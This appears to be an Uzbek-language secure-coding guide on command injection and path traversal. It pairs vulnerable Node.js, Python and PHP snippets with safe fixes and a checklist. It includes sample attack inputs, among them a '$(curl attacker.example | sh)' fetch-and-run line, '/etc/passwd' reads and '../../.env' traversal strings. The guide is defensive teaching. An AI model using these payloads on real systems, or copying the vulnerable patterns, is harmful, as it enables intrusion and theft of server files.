Command injection va path traversal: hujum misollari va himoya
Amaliyot4 daqInnovialabs tahririyati
Qisqacha
Ikkala hujum ham foydalanuvchi kiritgan ma’lumot shell buyrug‘i yoki fayl yo‘lining bir qismiga aylanganda yuz beradi; himoya — shell chaqirmaslik, argumentlarni massiv bilan berish, faqat ruxsat etilgan qiymatlarni qabul qilish va yakuniy yo‘l asosiy papka ichida qolganini tekshirish.
Qisqa javob
Command injection kod shell buyrug‘ini foydalanuvchi kiritgan ma’lumotdan yig‘ganda yuz beradi: hujumchi ;, &&, | yoki $() orqali o‘z buyrug‘ini qo‘shadi. Path traversal esa kiritilgan qiymat fayl yo‘lining bir qismiga aylanganda paydo bo‘ladi: ../ kabi ketma-ketliklar kerakli papkadan tashqaridagi fayllarni o‘qish yoki qayta yozish imkonini beradi.
Himoya tamoyili umumiy: ma’lumot kod yoki tuzilmaga aylanmasligi kerak. Dasturlarni shell’siz chaqiring, argumentlarni ro‘yxat sifatida bering, faqat ma’lum qiymatlarni qabul qiling va normalizatsiyadan keyin yakuniy yo‘lni tekshiring.
Command injection: zaif shablonlar
Quyidagi uchta misolning barchasida parametr shell talqin qiladigan satrga yopishtiriladi.
// Node.js — zaif
const { exec } = require("child_process");
exec(`ping -c 1 ${req.query.host}`, (err, out) => res.send(out));
# Python — zaif
import subprocess
subprocess.run(f"ping -c 1 {host}", shell=True)
// PHP — zaif
echo shell_exec("ping -c 1 " . $_GET["host"]);
Agar 8.8.8.8; cat /etc/passwd yuborilsa, shell ikkala buyruqni ham bajaradi. $(curl attacker.example | sh) orqali esa veb-server huquqlari bilan ixtiyoriy kodni yuklab olib ishga tushirish mumkin.
Command injection: xavfsiz shablonlar
- CLI o‘rniga kutubxona. Rasmni siqish yoki arxiv yig‘ish kerakmi? Nativ kutubxona shell’ni zanjirdan butunlay olib tashlaydi.
- Dasturni to‘g‘ridan-to‘g‘ri, shell’siz chaqiring va argumentlarni massiv bilan bering. Shunda shell maxsus belgilari o‘z ma’nosini yo‘qotadi.
- Allowlist bo‘yicha tekshiring — host nomi uchun regulyar ifoda, format uchun ro‘yxat, son uchun diapazon.
- Argument injection’dan himoyalaning. Shell bo‘lmasa ham
--output=/tmp/xqiymati opsiya sifatida o‘qilishi mumkin. Utilita qo‘llab-quvvatlasa, foydalanuvchi qiymatlaridan oldin--qo‘ying va-bilan boshlanadigan qiymatlarni rad eting.
// Node.js — xavfsiz
const { execFile } = require("child_process");
if (!/^[a-zA-Z0-9.-]{1,253}$/.test(host)) return res.status(400).end();
execFile("ping", ["-c", "1", "--", host], (err, out) => res.send(out));
# Python — xavfsiz
subprocess.run(["ping", "-c", "1", "--", host], check=True, timeout=5)
PHP’da buyruqni massiv ko‘rinishida qabul qiladigan proc_open dan foydalaning (zamonaviy versiyalarda mavjud) yoki hech bo‘lmaganda har bir argumentni escapeshellarg() bilan o‘rang. Ekranlash — arxitektura emas, zaxira variant: bitta unutilgan chaqiruv teshikni yana ochadi.
Path traversal: zaif shablonlar
// Node.js — zaif
const file = path.join(__dirname, "uploads", req.params.name);
res.sendFile(file);
../../.env so‘rovi uploads dan tashqaridagi faylga olib boradi. Xuddi shu xato Python’da open(os.path.join(BASE, name)) va PHP’da file_get_contents("uploads/" . $name) bilan uchraydi. Hujumchilar %2e%2e%2f kabi kodlangan variantlarni, Windows’dagi teskari slashlarni va absolyut yo‘llarni ham sinab ko‘radi: os.path.join("/data", "/etc/passwd") shunchaki /etc/passwd ni qaytaradi.
Path traversal: xavfsiz shablonlar
Ishonchli tekshiruv: avval to‘liq yo‘lni hisoblang, keyin u asosiy papka ichida ekanini tasdiqlang.
// Node.js — xavfsiz
const BASE = path.resolve(__dirname, "uploads");
const target = path.resolve(BASE, req.params.name);
if (!target.startsWith(BASE + path.sep)) return res.status(400).end();
res.sendFile(target);
# Python — xavfsiz
from pathlib import Path
BASE = Path("/srv/app/uploads").resolve()
target = (BASE / name).resolve()
if not target.is_relative_to(BASE):
raise PermissionError("invalid path")
// PHP — xavfsiz
$base = realpath(__DIR__ . "/uploads");
$target = realpath($base . DIRECTORY_SEPARATOR . $name);
if ($target === false || !str_starts_with($target, $base . DIRECTORY_SEPARATOR)) {
http_response_code(400); exit;
}
Bundan ham yaxshisi — foydalanuvchi bergan nomlardan umuman foydalanmaslik. Fayllarni generatsiya qilingan ID (UUID) ostida saqlang, asl nomni esa ma’lumotlar bazasida. Mijoz /files/3f2a… ni so‘raydi, server haqiqiy yo‘lni o‘zi topadi.
Nazorat ro‘yxati
- Foydalanuvchi ma’lumotlari bilan
exec,shell=True,system,shell_execva teskari qo‘shtirnoqlar ishlatilmaydi. - Argumentlar massiv bilan, foydalanuvchi qiymatlaridan oldin
--, boshidagi-taqiqlangan. - Hostlar, formatlar va fayl kengaytmalari uchun allowlist.
- Yo‘llar
resolve/realpathorqali hisoblanadi va asosiy papka bilan solishtiriladi. - Fayllar generatsiya qilingan ID ostida saqlanadi.
- Ilova minimal huquqli foydalanuvchi nomidan ishlaydi — muvaffaqiyatli hujum kamroq narsaga yetadi.
- Code review va SAST qoidalari xavfli funksiyalarni avtomatik belgilaydi.
Ko‘p uchraydigan xatolar
- Belgilarni blocklist qilish (
;yoki../). Kodlash va aylanib o‘tish usullari juda ko‘p — allowlist yutadi. - Dekodlashdan oldin tekshirish. Kod haqiqatda ishlatadigan qiymatni — URL-dekodlash va normalizatsiyadan keyin tekshiring.
- Ajratgichsiz prefiks tekshiruvi.
/srv/uploads-oldham/srv/uploadsbilan boshlanadi; har doim oxirgi ajratgich bilan solishtiring. - Symlink’larni unutish.
realpathvaPath.resolve()ularni ochadi, oddiy satr normalizatsiyasi esa yo‘q.